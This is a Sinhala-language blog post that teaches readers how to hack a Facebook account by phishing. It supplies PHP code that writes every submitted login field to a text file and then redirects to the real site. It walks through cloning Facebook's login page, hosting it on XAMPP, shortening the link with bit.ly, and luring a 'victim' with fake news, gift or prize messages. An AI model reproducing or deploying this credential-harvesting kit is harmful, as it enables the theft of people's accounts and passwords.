hello guys අද මං ඔයාලට කියල දෙන්න යන්නේ phishing method එක පාවිච්චි කරලා කොහොමද Facebook account එකක් hack කරන්න කියලා

ඒ සඳහා පහත පියවර අනුගමනය කරන්න ,

මුලින්ම කරන්න ඕනේ ඔයාලා මං දීලා තියෙන මේ code එක කොපි කරගෙන ඔයාලගේ notepad එකට පේස්ට් කරල ඒක login.php යන extension එක යටතේ save කරගන්න.

(?php header('Location: http://www.facebook.com'); $handle = fopen("log.txt", "a"); foreach($_POST as $variable =) $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?)

ඊට පස්සේ ඔයාලා කරන්න ඕනේ කරන්න ඕනේ facebook එකෙ login page එකට යන්න ඒක ඉන් පසුව දිස්වන පේජ් එක මත mouse එකේ right ක්ලික් කලා view page source එක මත click කරන්න

ඉන්පසු පහත ආකාරයේ වින්ඩෝ එකක් ඔබට ලැබෙයි එහි ඇති සම්පූර්ණ HTML code එක select කරලා කොපි කරන්න ඉන්පසුව


ඔයාගේ මැෂින් එකේ notepad එකක් open කරල ඒක මතට paste කරන්න

ඉන්පසුව notepad එකේ find (use Ctrl+F) කියන function එක තෝරගන්න.

ඉන්පසුව එහි පහත ආකාරයෙන් "action=" ලෙස type කරන්න ඊට පස්සේ notepad එකේ action= word එක තියන තැන් වලට යැයි ඊට පස්සේ එහි facebook login යැයි සඳහන් වූ URL ඔබට දිස්වන්නේය.පහල තියෙන ෆොටෝ එකෙන් ඔයාලට දැකගන්න පුලුවන්.




ඊට පස්සේ url select කරලා ඒක ඩිලීට් කරන්න ඊට පස්සේ එතනට login.php කියල type කරන්න

ඊට පස්සේ ඔය document එක index.html කියලා type කරලා save කරන්න.

ඊට පස්සේ index.html එකයි login.php කියලා මං මුලින් හදාගන්නෙ කියපු ෆයිල් එකයි එකම folder එකකට දාගන්න ඒ folder එකේ name එක facebook කියලා හදාගන්න නැත්නම් ඔයාට කැමති නමක් දෙන්න.

ඊට පස්සේ ඔයාලට ඕනෙ කරනවා XAMPP APP එක. එය පහල link එකෙන් download කරගන්න
https://www.apachefriends.org/download.html

ඊට පස්සේ ඒ ඇප් එක install කරගෙන ඒක open කරගන්නග

ඊට පස්සේ එහි ඇති apache සහ mysql කියන service දෙක start කරගෙන XAMPP minimise කරගන්න ෙමි photo එකන් ඔයාට දැකගත හැකිවෙයි.



ඊට පස්සේ HTML file සහ php file එක තියෙන folder එක copy කරගෙන ඔයාගේ c drive එකේ XAMPP folder එක තියන තැනට ගිහිල්ලා එක open කරගෙන එහි තියන htdocs එකට ගිහිල්ලා ඔයාගේ folder එක paste කරන්න

ඊට පස්සේ ඔයාගේ web browser එක open කරලා ඒකෙ URL ටයිප් ගන්න තැන http://localhost:8080/Facebook (ඔයාගෙත් file එකට දුන්න name එක මෙතනට දෙන්න)

ඔය URL එකෙන් ගියාම ඔයාගේ fake facebook page එක load වෙනවා


ඊට පස්සේ එතන login කියන තැන බොරු email ඒකක් දීලා බොරු පාස්වර්ඩ් එකකුත් දීලා login දීල බලන්න එතකොට real face book page එකට යනවා ඒ කියන්නේ ඔයාගේ අතට පාස්වර්ඩ් එක ලැබිලයි real facebook page එකට යන්න . එකෙන් ඔයාට hack කරන්න ඕන පුද්ගලයා ඔය ඔතනට email එකයි password එක දීලා ආයි පාරක් එයාට email එකයි password එකය් දෙන්න කියලා එනවා එතකොට එයා හැක් වෙලා ඉවරයි.

දැන් ඔයාගේ victim ට(හැක් කරන්න ඕන පුද්ගලයා) ඔය http://localhost:8080/Facebook ඔය link එක දෙන්න බෑනේ .

ඒකට කරන්න තියෙන්නෙ ඔයා ඔයාගේ web browser එක open කරල bitly.com එකට යන්න

ඊට පස්සේ ඔයාගේ URL (http://localhost:8080/Facebook) ඕකේ තියෙන shorten your link කියන තැනට paste කරන්න
ඊට පස්සේ ඒ URL මේ විදියට change කරගන්න http://120.0.0.1:8080/Facebook

ඔය පහල තියෙන photo ඔයාට ඒක දැකගන්න පුළුවන්

ඊට පස්සේ short කිරීමෙන් පසුව ලැබෙන link එක ඔයාගේ victim ට social engineering පාවිච්චි කරල එයාට ඒ link එක click කරන්න හිතෙන මැසේජ් මාර්ගයෙන් ඔහුට යවලා පාස්වර්ඩ් ලබාගන්න.

ex:-as a Hot news alert,as a gift ,as a prize-winning notification 

එහෙම ලැබෙන පාස්වර්ඩ් ඔයාලගේ c drive එකේ XAMPP >htdocs>Facebook කියන ෆෝල්ඩර් එක ඇතුලේ text file එකක් විදියට සේව් වෙලා තියනවා.

ඔන්න වැඩේ ඉවරයි . එහෙනම් ඔයාලත් try කරල බලන්න. තව මේ වගේ phishing attack කරන්න පුළුවන් ගොඩක් ක්‍රම තියෙනවා ඒවත් study කරලා ඒව ට්‍රයි කරලා බලන්න.

ඔයාලට තව දෙයක් කියන්න ඕනි අද c programming වලට අදාල පෝස්ට් එක වැටෙන්නේ නැහැ. හෙට ඉඳලා සුපුරුදු විදිහට දිගටම පොස්ට් ගේනවා. අපේ බ්ලොග් එක සමග දිගටම රැදී සිටින්න.

ඔයාලගේ අදහස් තියෙනවනම් පහළ comment section එකෙන් දාන්න.අලුත් post එකක් ඉක්මනින් ආයෙත් හමුවෙමු .

හැමෝටම ජය 😉.